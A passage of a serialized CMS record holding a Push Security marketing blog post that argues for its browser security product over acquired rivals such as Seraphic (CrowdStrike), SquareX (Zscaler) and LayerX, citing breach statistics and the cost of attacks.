danger is that you don't know it's there.",{"data":24034,"content":24035,"nodeType":1317},{},[24036],{"data":24037,"marks":24038,"value":24040,"nodeType":865},{},[24039],{"type":926},"2. Even solutions claiming the right capabilities often deliver them superficially",{"data":24042,"content":24043,"nodeType":866},{},[24044],{"data":24045,"marks":24046,"value":24047,"nodeType":865},{},[],"Every browser security vendor claims phishing detection, ClickFix protection, and session security. What varies enormously is whether those capabilities work against real, live, never-before-seen attacker infrastructure — or only against known-bad indicators that attackers rotate in minutes. 95% of in-browser attacks detected by Push used bot protection to evade blocklists; 89% of phishing domains are active for fewer than two days. ",{"data":24049,"content":24050,"nodeType":866},{},[24051],{"data":24052,"marks":24053,"value":24054,"nodeType":865},{},[],"A solution that appears comprehensive in a demo or PoV may leave significant gaps when tested against adversaries who understand exactly how security tools work and actively engineer around them. ",{"data":24056,"content":24057,"nodeType":1317},{},[24058],{"data":24059,"marks":24060,"value":24062,"nodeType":865},{},[24061],{"type":926},"3. AI is only going to widen the gap between \"good enough\" and what you need",{"data":24064,"content":24065,"nodeType":866},{},[24066],{"data":24067,"marks":24068,"value":24069,"nodeType":865},{},[],"When a browser security product is acquired, engineering effort turns inwards towards integration with the parent platform, not advancing detection capability. ",{"data":24071,"content":24072,"nodeType":866},{},[24073],{"data":24074,"marks":24075,"value":24076,"nodeType":865},{},[],"That dynamic plays out differently for each acquisition, but in Seraphic's case it is expected to be particularly heightened. Seraphic works by injecting an agent into the browser's JavaScript runtime. This is the same approach antivirus vendors have used for years, with well-documented stability consequences. Stability is now a top priority for CrowdStrike, which means the Seraphic integration will proceed cautiously. For buyers, that translates directly into slower capability advancement, not faster.",{"data":24078,"content":24079,"nodeType":866},{},[24080,24084,24092],{"data":24081,"marks":24082,"value":24083,"nodeType":865},{},[],"But this is no time for engineering efforts to turn inward, as the threat landscape continues to evolve at an unprecedented rate. You only need to look at the rise of techniques like device code phishing, which have gone from ",{"data":24085,"content":24086,"nodeType":889},{"uri":1951},[24087],{"data":24088,"marks":24089,"value":24091,"nodeType":865},{},[24090],{"type":943},"research curiosity to industrialized exploitation",{"data":24093,"marks":24094,"value":24095,"nodeType":865},{},[]," in a matter of months — in large part enabled by AI-powered tools and AI-assisted development. Similarly, AI has compressed the time to generate a convincing phishing campaign from hours to minutes. ",{"data":24097,"content":24098,"nodeType":866},{},[24099,24103,24110,24114,24123],{"data":24100,"marks":24101,"value":24102,"nodeType":865},{},[],"But it's not only external threats: ",{"data":24104,"content":24105,"nodeType":889},{"uri":3963},[24106],{"data":24107,"marks":24108,"value":24109,"nodeType":865},{},[],"92% of organizations allow employees to use public GenAI applications",{"data":24111,"marks":24112,"value":24113,"nodeType":865},{},[]," — every one of them with unsanctioned AI use occurring by design — employees are routinely entering sensitive data into unapproved AI tools, and ",{"data":24115,"content":24117,"nodeType":889},{"uri":24116},"https://www.gartner.com/en/newsroom/press-releases/2025-08-26-gartner-predicts-40-percent-of-enterprise-apps-will-feature-task-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025",[24118],{"data":24119,"marks":24120,"value":24122,"nodeType":865},{},[24121],{"type":943},"Gartner predicts",{"data":24124,"marks":24125,"value":24126,"nodeType":865},{},[]," 40% of enterprise applications will feature AI agents by end of 2026, up from under 5% in 2025. ",{"data":24128,"content":24129,"nodeType":866},{},[24130],{"data":24131,"marks":24132,"value":24133,"nodeType":865},{},[],"The gap between an acquired product focused on integration and vendors whose single-minded focus is on stopping these emerging threats will continue to widen over time.",{"data":24135,"content":24136,"nodeType":972},{},[],{"data":24138,"content":24139,"nodeType":981},{},[24140],{"data":24141,"marks":24142,"value":24144,"nodeType":865},{},[24143],{"type":926},"How to identify a genuinely best-of-breed solution",{"data":24146,"content":24147,"nodeType":1317},{},[24148],{"data":24149,"marks":24150,"value":24152,"nodeType":865},{},[24151],{"type":926},"Start from your own requirements",{"data":24154,"content":24155,"nodeType":866},{},[24156,24160,24167],{"data":24157,"marks":24158,"value":24159,"nodeType":865},{},[],"Define the outcomes you need before speaking to any vendor. The ",{"data":24161,"content":24162,"nodeType":889},{"uri":16675},[24163],{"data":24164,"marks":24165,"value":24166,"nodeType":865},{},[],"highest-value browser security use cases",{"data":24168,"marks":24169,"value":24170,"nodeType":865},{},[]," are account takeover prevention, advanced phishing detection, identity posture hardening, browser extension security, and shadow SaaS and OAuth governance.",{"data":24172,"content":24173,"nodeType":1317},{},[24174],{"data":24175,"marks":24176,"value":24178,"nodeType":865},{},[24177],{"type":926},"Understand how it detects, not just what it claims",{"data":24180,"content":24181,"nodeType":866},{},[24182,24186,24194],{"data":24183,"marks":24184,"value":24185,"nodeType":865},{},[],"Most solutions rely on IoCs — matching known-bad domains, URLs, and IPs against feeds that attackers rotate in minutes.  There’s a major shortcoming with this approach, though: attackers rotate infrastructure faster than any blocklist updates and use bot protection to stay off threat intelligence feeds, making every attack feel ",{"data":24187,"content":24188,"nodeType":889},{"uri":7112},[24189],{"data":24190,"marks":24191,"value":24193,"nodeType":865},{},[24192],{"type":943},"like a zero-day",{"data":24195,"marks":24196,"value":24197,"nodeType":865},{},[],". The only approach that reliably works is TTP-based behavioral detection. Ask every vendor: are you detecting a known-bad indicator or a behavioral technique?",{"data":24199,"content":24200,"nodeType":1317},{},[24201],{"data":24202,"marks":24203,"value":24205,"nodeType":865},{},[24204],{"type":926},"Test against real attacker behavior",{"data":24207,"content":24208,"nodeType":866},{},[24209],{"data":24210,"marks":24211,"value":24212,"nodeType":865},{},[],"Don't evaluate phishing detection with old phishing URLs. By the time you’re running these tests their IoCs will already be on block-lists (see point above). Instead, deploy realistic testing scenarios and look for demonstrable evidence of stopping real-world phishing kits — Evilginx, Tycoon2FA, Sneaky2FA, and so on. ",{"data":24214,"content":24215,"nodeType":1317},{},[24216],{"data":24217,"marks":24218,"value":24220,"nodeType":865},{},[24219],{"type":926},"Assess innovation velocity",{"data":24222,"content":24223,"nodeType":866},{},[24224],{"data":24225,"marks":24226,"value":24227,"nodeType":865},{},[],"Ask every vendor about their research output and feature release history over the past six months — are they discovering and publishing novel attack techniques, or covering what others already documented? Are new detections shipping continuously, or in quarterly cycles? For acquired products specifically, also ask how the roadmap has changed since acquisition. ",{"data":24229,"content":24230,"nodeType":1317},{},[24231],{"data":24232,"marks":24233,"value":24235,"nodeType":865},{},[24234],{"type":926},"Consider operationalization, vendor focus, and lock-in",{"data":24237,"content":24238,"nodeType":866},{},[24239],{"data":24240,"marks":24241,"value":24242,"nodeType":865},{},[],"Many solutions demo well but create significant overhead at scale. Consider whether you want another agent on endpoints, and whether you have the resources to tune granular policies without drowning in false positives. Your requirements might not carry the same weight with a platform vendor with tens of thousands of customers across multiple product lines, versus a dedicated vendor whose entire roadmap exists to solve your problem. And factor in lock-in: every capability consolidated into an existing platform vendor reduces your ability to change direction later.",{"data":24244,"content":24245,"nodeType":972},{},[],{"data":24247,"content":24248,"nodeType":981},{},[24249],{"data":24250,"marks":24251,"value":24253,"nodeType":865},{},[24252],{"type":926},"Why Push is the best-of-breed browser security solution",{"data":24255,"content":24256,"nodeType":866},{},[24257],{"data":24258,"marks":24259,"value":24260,"nodeType":865},{},[],"Think of Push as EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Here’s why customers choose Push as a best-of-breed solution:",{"data":24262,"content":24263,"nodeType":1317},{},[24264,24269],{"data":24265,"marks":24266,"value":24268,"nodeType":865},{},[24267],{"type":926},"Push is built for the security problems that actually cause breaches",{"data":24270,"marks":24271,"value":2688,"nodeType":865},{},[],{"data":24273,"content":24274,"nodeType":866},{},[24275,24279,24286],{"data":24276,"marks":24277,"value":24278,"nodeType":865},{},[],"The highest-value browser security problems — account takeover prevention, advanced phishing detection, identity posture hardening, browser extension security, shadow SaaS and OAuth governance — all require visibility inside the browser session. Push was built from the ground up for exactly that. The same foundational capability that detects AiTM phishing and ClickFix attacks also surfaces the exposure most security teams don't know they have: ",{"data":24280,"content":24281,"nodeType":889},{"uri":6698},[24282],{"data":24283,"marks":24284,"value":24285,"nodeType":865},{},[],"across Push's customer base",{"data":24287,"marks":24288,"value":24289,"nodeType":865},{},[],", 1 in 4 logins use passwords rather than SSO, 2 in 5 are unprotected by MFA, and 46.76% of browser extensions carry permissions sufficient to perform account takeover — none of it visible from the endpoint, network, or email layer.",{"data":24291,"content":24292,"nodeType":1317},{},[24293],{"data":24294,"marks":24295,"value":24297,"nodeType":865},{},[24296],{"type":926},"Push detects high-fidelity attacker TTPs, not low-level IoCs",{"data":24299,"content":24300,"nodeType":866},{},[24301],{"data":24302,"marks":24303,"value":24304,"nodeType":865},{},[],"Push's browser extension operates as a flight recorder inside the session, capturing every page load, credential submission, OAuth consent flow, and user action in real time. That telemetry surfaces attacker behavior — the page structure and script signatures of AiTM kits, the clipboard mechanics of ClickFix, the OAuth flow characteristics of ConsentFix — rather than infrastructure indicators that attackers rotate in minutes. This is how Push intercepts “zero-day” phishing using fresh infrastructure and domains every time, while most solutions are stuck playing known-bad whac-a-mole. ",{"data":24306,"content":24310,"nodeType":912},{"target":24307},{"sys":24308},{"id":24309,"type":909,"linkType":910},"4ho5gOHl1loo9Jtv9nPoq1",[],{"data":24312,"content":24313,"nodeType":1317},{},[24314],{"data":24315,"marks":24316,"value":24318,"nodeType":865},{},[24317],{"type":926},"Push’s research and agentic threat hunting keeps you ahead of attacker innovation",{"data":24320,"content":24321,"nodeType":866},{},[24322,24326,24332,24335,24341,24345,24351],{"data":24323,"marks":24324,"value":24325,"nodeType":865},{},[],"Push named ",{"data":24327,"content":24328,"nodeType":889},{"uri":7472},[24329],{"data":24330,"marks":24331,"value":7465,"nodeType":865},{},[],{"data":24333,"marks":24334,"value":4988,"nodeType":865},{},[],{"data":24336,"content":24337,"nodeType":889},{"uri":7712},[24338],{"data":24339,"marks":24340,"value":8158,"nodeType":865},{},[],{"data":24342,"marks":24343,"value":24344,"nodeType":865},{},[]," before any other vendor detected either in production. That research feeds an ",{"data":24346,"content":24347,"nodeType":889},{"uri":5233},[24348],{"data":24349,"marks":24350,"value":6375,"nodeType":865},{},[],{"data":24352,"marks":24353,"value":24354,"nodeType":865},{},[]," built on two learning loops — an inner loop for real-time detection of known techniques, and an outer loop where autonomous agents continuously hunt across 3 million deployed browsers for emerging threats, writing new detections and deploying them to customer environments in minutes. ",{"data":24356,"content":24360,"nodeType":912},{"target":24357},{"sys":24358},{"id":24359,"type":909,"linkType":910},"17y3jchoPysKQTf2ra59Bv",[],{"data":24362,"content":24363,"nodeType":1317},{},[24364],{"data":24365,"marks":24366,"value":24368,"nodeType":865},{},[24367],{"type":926},"Push solves more use cases than just stopping advanced attacks",{"data":24370,"content":24371,"nodeType":866},{},[24372,24376,24383],{"data":24373,"marks":24374,"value":24375,"nodeType":865},{},[],"Push uses the same browser-layer visibility to surface every AI tool, agentic browser, extension, and OAuth integration in use across the organization — and enforce policy on what employees can do inside them in real time, including unsanctioned tools no other layer sees. The same technical capabilities provided by Push also harden the identity attack surface, prevent data loss, accelerate insider investigations, and let security teams write custom detections and policies for organization-specific risks. One extension, one deployment, ",{"data":24377,"content":24378,"nodeType":889},{"uri":16675},[24379],{"data":24380,"marks":24381,"value":24382,"nodeType":865},{},[],"multiple high-value use cases",{"data":24384,"marks":24385,"value":1615,"nodeType":865},{},[],{"data":24387,"content":24388,"nodeType":1317},{},[24389],{"data":24390,"marks":24391,"value":24393,"nodeType":865},{},[24392],{"type":926},"Push is built to be operationalized at scale, not just demoed",{"data":24395,"content":24396,"nodeType":866},{},[24397,24401,24408],{"data":24398,"marks":24399,"value":24400,"nodeType":865},{},[],"Push deploys to ",{"data":24402,"content":24403,"nodeType":889},{"uri":17544},[24404],{"data":24405,"marks":24406,"value":24407,"nodeType":865},{},[],"100,000 users in under one hour on a normal workday",{"data":24409,"marks":24410,"value":24411,"nodeType":865},{},[]," — no migration overhead or performance impact. The false positive rate is negligible, meaning no alert noise and no policy tuning overhead. And because Push is independent, it integrates into open ecosystems — feeding browser-layer telemetry into your SIEM, XDR, SOAR, and identity tools alongside the rest of your stack, without adding to your platform lock-in.",{"data":24413,"content":24414,"nodeType":972},{},[],{"data":24416,"content":24417,"nodeType":981},{},[24418],{"data":24419,"marks":24420,"value":24422,"nodeType":865},{},[24421],{"type":926},"Final thoughts",{"data":24424,"content":24425,"nodeType":866},{},[24426],{"data":24427,"marks":24428,"value":24429,"nodeType":865},{},[],"Three acquisitions in five months is a strong market signal, but a strong market signal about vendor interest in a category is not the same thing as a strong signal about capability. The attacker techniques and tooling behind breaches in 2026 are evolving faster than any acquired product with split engineering priorities can reasonably track. ",{"data":24431,"content":24432,"nodeType":866},{},[24433],{"data":24434,"marks":24435,"value":24436,"nodeType":865},{},[],"Security buyers who accept a bundled browser solution because it is included in an existing contract are making a procurement decision, not a security decision. The threats in the browser are serious and sophisticated enough to justify the investment in a tool built to stop them. If you agree, Push is worth a serious look.",{"data":24438,"content":24439,"nodeType":866},{},[24440,24443,24450],{"data":24441,"marks":24442,"value":21,"nodeType":865},{},[],{"data":24444,"content":24445,"nodeType":889},{"uri":1372},[24446],{"data":24447,"marks":24448,"value":1378,"nodeType":865},{},[24449],{"type":943},{"data":24451,"marks":24452,"value":21,"nodeType":865},{},[],{"entries":24454},{"hyperlink":24455,"inline":24456,"block":24457},[],[],[24458,24476],{"sys":24459,"__typename":5503,"content":24460,"name":24475,"title":59},{"id":24309},{"json":24461},{"nodeType":1382,"data":24462,"content":24463},{},[24464],{"nodeType":866,"data":24465,"content":24466},{},[24467,24472],{"nodeType":865,"value":24468,"marks":24469,"data":24471},"In a 30-day POV at a ~4,500-employee financial services organization with a mature existing stack, Push detected 6 ClickFix attacks and 10 AiTM phishing attempts that were invisible to every other tool in place",[24470],{"type":926},{},{"nodeType":865,"value":1615,"marks":24473,"data":24474},[],{},"Best of breed blog IB1",{"sys":24477,"__typename":5503,"content":24478,"name":24508,"title":59},{"id":24359},{"json":24479},{"nodeType":1382,"data":24480,"content":24481},{},[24482],{"nodeType":866,"data":24483,"content":24484},{},[24485,24489,24495,24499,24504],{"nodeType":865,"value":24486,"marks":24487,"data":24488},"Our ",[],{},{"nodeType":889,"data":24490,"content":24491},{"uri":5233},[24492],{"nodeType":865,"value":5238,"marks":24493,"data":24494},[],{},{"nodeType":865,"value":24496,"marks":24497,"data":24498}," has ",[],{},{"nodeType":865,"value":24500,"marks":24501,"data":24503},"tripled the new detections shipped per month",[24502],{"type":926},{},{"nodeType":865,"value":24505,"marks":24506,"data":24507}," — and as a dedicated browser security vendor, that's where every research dollar goes. When attackers are harnessing AI to develop tooling, deploy and tear-down infrastructure, and operate campaigns at scale, this capability is essential to stay ahead of the increased volume and variation in threats that users are encountering in the browser. ",[],{},"Best of breed blog IB2",{"items":24510},[],{},"The case for best-of-breed browser security",{"items":24514},[24515,25296,26017],{"__typename":1429,"sys":24516,"content":24518,"title":25283,"synopsis":25284,"hashTags":59,"publishedDate":17656,"slug":25285,"tagsCollection":25286,"authorsCollection":25292},{"id":24517},"2V130uMePtxAaefYQAKInb",{"json":24519},{"data":24520,"content":24521,"nodeType":1382},{},[24522,24528,24535,24542,24549,24552,24560,24567,24579,24591,24596,24603,24606,24614,24621,24627,24634,24641,24748,24755,24758,24766,24773,24836,24852,24858,24865,24868,24876,24883,24891,24898,24905,24936,24943,24951,24958,24965,24972,24980,24987,24994,25001,25004,25012,25024,25031,25038,25046,25053,25060,25068,25075,25138,25154,25172,25180,25187,25195,25202,25209,25216,25222,25230,25237,25244,25250,25257,25264,25271,25277],{"data":24523,"content":24527,"nodeType":912},{"target":24524},{"sys":24525},{"id":24526,"type":909,"linkType":910},"5CPZ96xixlhgh6oqQ2rfmO",[],{"data":24529,"content":24530,"nodeType":866},{},[24531],{"data":24532,"marks":24533,"value":24534,"nodeType":865},{},[],"When a security team evaluates browser security solutions, they're usually asking the right question: “How do we protect our users as they work in the browser?”",{"data":24536,"content":24537,"nodeType":866},{},[24538],{"data":24539,"marks":24540,"value":24541,"nodeType":865},{},[],"But the answer they get from many vendors is shaped by a fundamentally different threat model — one that treats the browser as a piece of software to be hardened against exploitation, rather than as the arena where your users’ identities get stolen.",{"data":24543,"content":24544,"nodeType":866},{},[24545],{"data":24546,"marks":24547,"value":24548,"nodeType":865},{},[],"This distinction has enormous consequences for your security posture and the return you can expect from your investment in a new solution.",{"data":24550,"content":24551,"nodeType":972},{},[],{"data":24553,"content":24554,"nodeType":981},{},[24555],{"data":24556,"marks":24557,"value":24559,"nodeType":865},{},[24558],{"type":926},"Two different problems, dressed the same",{"data":24561,"content":24562,"nodeType":866},{},[24563],{"data":24564,"marks":24565,"value":24566,"nodeType":865},{},[],"When it comes to protecting users as they work in the browser, security tools typically fall into one of two camps:",{"data":24568,"content":24569,"nodeType":866},{},[24570,24575],{"data":24571,"marks":24572,"value":24574,"nodeType":865},{},[24573],{"type":926},"The first camp:",{"data":24576,"marks":24577,"value":24578,"nodeType":865},{},[]," represented by solutions like Seraphic (now CrowdStrike) — is built around the threat of attacking the browser itself. The architecture is designed to scramble the browser’s JavaScript runtime and prevent exploits from detonating and breaking out of the browser sandbox. This is browser hardening: defending the browser as software against exploitation by attackers who want to compromise the underlying device.",{"data":24580,"content":24581,"nodeType":866},{},[24582,24587],{"data":24583,"marks":24584,"value":24586,"nodeType":865},{},[24585],{"type":926},"The second camp:",{"data":24588,"marks":24589,"value":24590,"nodeType":865},{},[]," and the one Push Security occupies uniquely, focuses on what happens inside the browser when a user is working normally. Phishing pages harvesting credentials. Session tokens being stolen. Malicious OAuth applications being granted access through social engineering. Adversary-in-the-middle proxies intercepting authentication flows. These attacks don't exploit the browser. They exploit the human — and now agents — using it via the browser's legitimate capabilities (think of it as LOTL, browser edition).",{"data":24592,"content":24595,"nodeType":912},{"target":24593},{"sys":24594},{"id":12658,"type":909,"linkType":910},[],{"data":24597,"content":24598,"nodeType":866},{},[24599],{"data":24600,"marks":24601,"value":24602,"nodeType":865},{},[],"The question for any security team evaluating this space: which of these threat models presents the greatest risks to my organization?",{"data":24604,"content":24605,"nodeType":972},{},[],{"data":24607,"content":24608,"nodeType":981},{},[24609],{"data":24610,"marks":24611,"value":24613,"nodeType":865},{},[24612],{"type":926},"How organizations are actually being breached",{"data":24615,"content":24616,"nodeType":866},{},[24617],{"data":24618,"marks":24619,"value":24620,"nodeType":865},{},[],"Let's look at the major breach campaigns of the last three years without the marketing filter and a pattern emerges immediately. Scattered Spider and its successors breached MGM Resorts, Caesars, M&S, JLR, and Salesforce customers — not through browser exploits, but through social engineering, phishing and Adversary-in-the-Middle attacks that stole session tokens and SSO credentials. ",{"data":24622,"content":24626,"nodeType":912},{"target":24623},{"sys":24624},{"id":24625,"type":909,"linkType":910},"2qIMTiyyIsQFAyGJ9Ikyej",[],{"data":24628,"content":24629,"nodeType":866},{},[24630],{"data":24631,"marks":24632,"value":24633,"nodeType":865},{},[],"In every case, the attack happened in the browser — using stolen identities to log into legitimate cloud services — not on the browser through exploitation of the browser engine itself.",{"data":24635,"content":24636,"nodeType":866},{},[24637],{"data":24638,"marks":24639,"value":24640,"nodeType":865},{},[],"The data from major threat intelligence sources is unambiguous:",{"data":24642,"content":24643,"nodeType":1616},{},[24644,24662,24681,24700,24719,24733],{"data":24645,"content":24646,"nodeType":1570},{},[24647],{"data":24648,"content":24649,"nodeType":866},{},[24650,24654,24658],{"data":24651,"marks":24652,"value":24653,"nodeType":865},{},[],"Identity weaknesses played a material role in ",{"data":24655,"marks":24656,"value":23998,"nodeType":865},{},[24657],{"type":926},{"data":24659,"marks":24660,"value":24661,"nodeType":865},{},[]," (Palo Alto Networks Unit 42 IR Report)",{"data":24663,"content":24664,"nodeType":1570},{},[24665],{"data":24666,"content":24667,"nodeType":866},{},[24668,24672,24677],{"data":24669,"marks":24670,"value":24671,"nodeType":865},{},[],"Credential abuse and phishing combined accounted for ",{"data":24673,"marks":24674,"value":24676,"nodeType":865},{},[24675],{"type":926},"38% of all breaches",{"data":24678,"marks":24679,"value":24680,"nodeType":865},{},[],", making identity the single largest breach vector (Verizon DBIR 2025)",{"data":24682,"content":24683,"nodeType":1570},{},[24684],{"data":24685,"content":24686,"nodeType":866},{},[24687,24691,24696],{"data":24688,"marks":24689,"value":24690,"nodeType":865},{},[],"Cloud-conscious intrusions — attackers using stolen identities to access cloud services — rose ",{"data":24692,"marks":24693,"value":24695,"nodeType":865},{},[24694],{"type":926},"37% in 2025",{"data":24697,"marks":24698,"value":24699,"nodeType":865},{},[],", up 266% among state-nexus actors (CrowdStrike 2026 Global Threat Report)",{"data":24701,"content":24702,"nodeType":1570},{},[24703],{"data":24704,"content":24705,"nodeType":866},{},[24706,24710,24715],{"data":24707,"marks":24708,"value":24709,"nodeType":865},{},[],"In cloud-related incidents, identity issues drove initial access in ",{"data":24711,"marks":24712,"value":24714,"nodeType":865},{},[24713],{"type":926},"83% of cases",{"data":24716,"marks":24717,"value":24718,"nodeType":865},{},[]," (Mandiant / Google Cloud Threat Horizons H1 2026)",{"data":24720,"content":24721,"nodeType":1570},{},[24722],{"data":24723,"content":24724,"nodeType":866},{},[24725,24729],{"data":24726,"marks":24727,"value":4757,"nodeType":865},{},[24728],{"type":926},{"data":24730,"marks":24731,"value":24732,"nodeType":865},{},[]," — they don't touch the endpoint and abuse legitimate access and functionality (CrowdStrike 2026 Global Threat Report)",{"data":24734,"content":24735,"nodeType":1570},{},[24736],{"data":24737,"content":24738,"nodeType":866},{},[24739,24744],{"data":24740,"marks":24741,"value":24743,"nodeType":865},{},[24742],{"type":926},"49% of organizations",{"data":24745,"marks":24746,"value":24747,"nodeType":865},{},[]," suffered a successful browser-based attack in the last 12 months (Omdia 2026)",{"data":24749,"content":24750,"nodeType":866},{},[24751],{"data":24752,"marks":24753,"value":24754,"nodeType":865},{},[],"These aren't edge cases. This is now the primary attack playbook.",{"data":24756,"content":24757,"nodeType":972},{},[],{"data":24759,"content":24760,"nodeType":1317},{},[24761],{"data":24762,"marks":24763,"value":24765,"nodeType":865},{},[24764],{"type":926},"The economics of attack choice",{"data":24767,"content":24768,"nodeType":866},{},[24769],{"data":24770,"marks":24771,"value":24772,"nodeType":865},{},[],"Attackers are rational actors. They pick the cheapest, most reliable path to their objective. The economics of browser exploitation versus identity theft tell the whole story:",{"data":24774,"content":24775,"nodeType":1616},{},[24776,24791,24806,24821],{"data":24777,"content":24778,"nodeType":1570},{},[24779],{"data":24780,"content":24781,"nodeType":866},{},[24782,24786],{"data":24783,"marks":24784,"value":24785,"nodeType":865},{},[],"Chrome sandbox RCE exploit (bug bounty value): ",{"data":24787,"marks":24788,"value":24790,"nodeType":865},{},[24789],{"type":926},"$250,000",{"data":24792,"content":24793,"nodeType":1570},{},[24794],{"data":24795,"content":24796,"nodeType":866},{},[24797,24801],{"data":24798,"marks":24799,"value":24800,"nodeType":865},{},[],"IAB-provided IdP admin account: ",{"data":24802,"marks":24803,"value":24805,"nodeType":865},{},[24804],{"type":926},"~$3,000",{"data":24807,"content":24808,"nodeType":1570},{},[24809],{"data":24810,"content":24811,"nodeType":866},{},[24812,24816],{"data":24813,"marks":24814,"value":24815,"nodeType":865},{},[],"1-year phishing kit rental (PhaaS): ",{"data":24817,"marks":24818,"value":24820,"nodeType":865},{},[24819],{"type":926},"~$1,000",{"data":24822,"content":24823,"nodeType":1570},{},[24824],{"data":24825,"content":24826,"nodeType":866},{},[24827,24831],{"data":24828,"marks":24829,"value":24830,"nodeType":865},{},[],"Bulk stolen credential list: ",{"data":24832,"marks":24833,"value":24835,"nodeType":865},{},[24834],{"type":926},"~$15",{"data":24837,"content":24838,"nodeType":866},{},[24839,24843,24848],{"data":24840,"marks":24841,"value":24842,"nodeType":865},{},[],"Browser zero-days accounted for just ",{"data":24844,"marks":24845,"value":24847,"nodeType":865},{},[24846],{"type":926},"9% of all zero-days reported to Google in 2025",{"data":24849,"marks":24850,"value":24851,"nodeType":865},{},[]," — described by Google's own researchers as a \"historic low.\" Chrome's sandbox architecture, site isolation, and hardware-backed security features are the result of years of sustained hardening investment. When a browser vulnerability is discovered, Google typically deploys a patch within days.",{"data":24853,"content":24857,"nodeType":912},{"target":24854},{"sys":24855},{"id":24856,"type":909,"linkType":910},"5XWKHTT5J06yWcgZIOL95t",[],{"data":24859,"content":24860,"nodeType":866},{},[24861],{"data":24862,"marks":24863,"value":24864,"nodeType":865},{},[],"The bottom line: browser exploits are extraordinarily expensive to develop, increasingly difficult to execute reliably against a hardened modern browser, and patched rapidly when discovered. In sharp contrast, identity attacks are cheap to run, highly scalable, and have a low technical barrier to adoption — that’s why they’re responsible for the overwhelming majority of enterprise breaches. Attackers have voted with their resources.",{"data":24866,"content":24867,"nodeType":972},{},[],{"data":24869,"content":24870,"nodeType":981},{},[24871],{"data":24872,"marks":24873,"value":24875,"nodeType":865},{},[24874],{"type":926},"What you're actually buying with each vendor",{"data":24877,"content":24878,"nodeType":866},{},[24879],{"data":24880,"marks":24881,"value":24882,"nodeType":865},{},[],"Understanding the core architectural choice each vendor has made helps decode what their solution can and cannot protect you from.",{"data":24884,"content":24885,"nodeType":1317},{},[24886],{"data":24887,"marks":24888,"value":24890,"nodeType":865},{},[24889],{"type":926},"Seraphic (CrowdStrike)",{"data":24892,"content":24893,"nodeType":866},{},[24894],{"data":24895,"marks":24896,"value":24897,"nodeType":865},{},[],"Seraphic's architecture is built to inject into the browser's JavaScript runtime at the OS layer, scrambling browser internals to prevent exploits from executing. This is a technically sophisticated approach to a technically interesting problem that is, by every threat intelligence measure, not the problem causing enterprise breaches at scale.",{"data":24899,"content":24900,"nodeType":866},{},[24901],{"data":24902,"marks":24903,"value":24904,"nodeType":865},{},[],"Beyond the threat model mismatch, there are structural concerns with the approach itself. Injecting an agent into the browser's JS runtime is a technique with well-documented stability consequences. This is the same approach antivirus vendors have used for years, often at the cost of system stability. Seraphic now runs alongside the CrowdStrike Falcon sensor on managed devices, combining two heavyweight agents on the same machine. For any organization with CrowdStrike already deployed, the question isn't theoretical: how has that combination been validated in production environments?",{"data":24906,"content":24907,"nodeType":866},{},[24908,24912,24919,24923,24932],{"data":24909,"marks":24910,"value":24911,"nodeType":865},{},[],"There's also the managed-device limitation. Seraphic requires a kernel-level agent, which means it loses meaningful capability on unmanaged devices, BYOD machines, and contractor endpoints. This is not a niche concern: according to ",{"data":24913,"content":24914,"nodeType":889},{"uri":3963},[24915],{"data":24916,"marks":24917,"value":24918,"nodeType":865},{},[],"Omdia's 2026 browser security survey",{"data":24920,"marks":24921,"value":24922,"nodeType":865},{},[],", 32% of users access corporate applications from unmanaged devices at least occasionally. Agent-based solutions are blind to nearly a third of your actual attack surface by design. The Okta breach began on a support engineer's personal device, where ",{"data":24924,"content":24926,"nodeType":889},{"uri":24925},"https://pushsecurity.com/blog/browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches/",[24927],{"data":24928,"marks":24929,"value":24931,"nodeType":865},{},[24930],{"type":943},"corporate credentials had synced",{"data":24933,"marks":24934,"value":24935,"nodeType":865},{},[]," via Chrome's built-in profile sync. No agent, no visibility.",{"data":24937,"content":24938,"nodeType":866},{},[24939],{"data":24940,"marks":24941,"value":24942,"nodeType":865},{},[],"Teams evaluating Seraphic today are also buying into an integration roadmap, not a shipped capability. The acquisition by CrowdStrike closed in early 2026. The work of wiring browser telemetry into Falcon Fusion and correlating it with endpoint signals is currently a promise, not a production feature.",{"data":24944,"content":24945,"nodeType":1317},{},[24946],{"data":24947,"marks":24948,"value":24950,"nodeType":865},{},[24949],{"type":926},"SquareX (Zscaler)",{"data":24952,"content":24953,"nodeType":866},{},[24954],{"data":24955,"marks":24956,"value":24957,"nodeType":865},{},[],"SquareX's core capability is sandboxing suspicious file downloads inside disposable browser containers before they reach the endpoint. This is a legitimate approach to a real but declining problem. 82% of attack detections are now malware-free (CrowdStrike 2026 Global Threat Report) — attacks don't arrive as files to be sandboxed, they arrive as authenticated sessions. And the delivery channel shift makes the picture even starker: across Push's customer base, 1 in 3 phishing payloads are now delivered outside of email entirely — via social media, ads, and messaging platforms — and 4 in 5 ClickFix payloads arrive through search engines, not email. The threat that SquareX was architecturally designed to address is a shrinking share of the actual attack surface, and it's shrinking fast.",{"data":24959,"content":24960,"nodeType":866},{},[24961],{"data":24962,"marks":24963,"value":24964,"nodeType":865},{},[],"Zscaler already has sandboxing built into ZIA. For an existing Zscaler customer evaluating SquareX, the honest question is: what does this add beyond some extension analysis capability and what you already have? The AiTM phishing campaign that stole your user's credentials and accessed your cloud applications generates no malicious file, triggers no sandbox, and produces no network signal for Zscaler's traffic inspection to catch — because it happened entirely inside a browser session using legitimate authentication flows.",{"data":24966,"content":24967,"nodeType":866},{},[24968],{"data":24969,"marks":24970,"value":24971,"nodeType":865},{},[],"The acquisition also raises product focus questions. Being absorbed into a network-centric platform means SquareX is now optimized for Zscaler's priorities, not for standalone browser detection and response. Teams that care about investigation, threat hunting, and incident response should ask specifically what SquareX adds in those workflows under Zscaler ownership.",{"data":24973,"content":24974,"nodeType":1317},{},[24975],{"data":24976,"marks":24977,"value":24979,"nodeType":865},{},[24978],{"type":926},"LayerX",{"data":24981,"content":24982,"nodeType":866},{},[24983],{"data":24984,"marks":24985,"value":24986,"nodeType":865},{},[],"LayerX is primarily a policy enforcement and risk scoring platform focused on internal governance — controlling which applications employees access, what data moves through the browser, and whether behavior complies with internal rules.",{"data":24988,"content":24989,"nodeType":866},{},[24990],{"data":24991,"marks":24992,"value":24993,"nodeType":865},{},[],"Push Security covers that ground too. Push provides full visibility over AI tool usage, shadow SaaS, unmanaged identities, and data loss vectors — including sensitive data submitted through AI prompts, file uploads to personal cloud destinations, and OAuth grants to third-party applications. The same browser telemetry that detects external attacks also surfaces insider risks and powers DLP controls and compliance audit 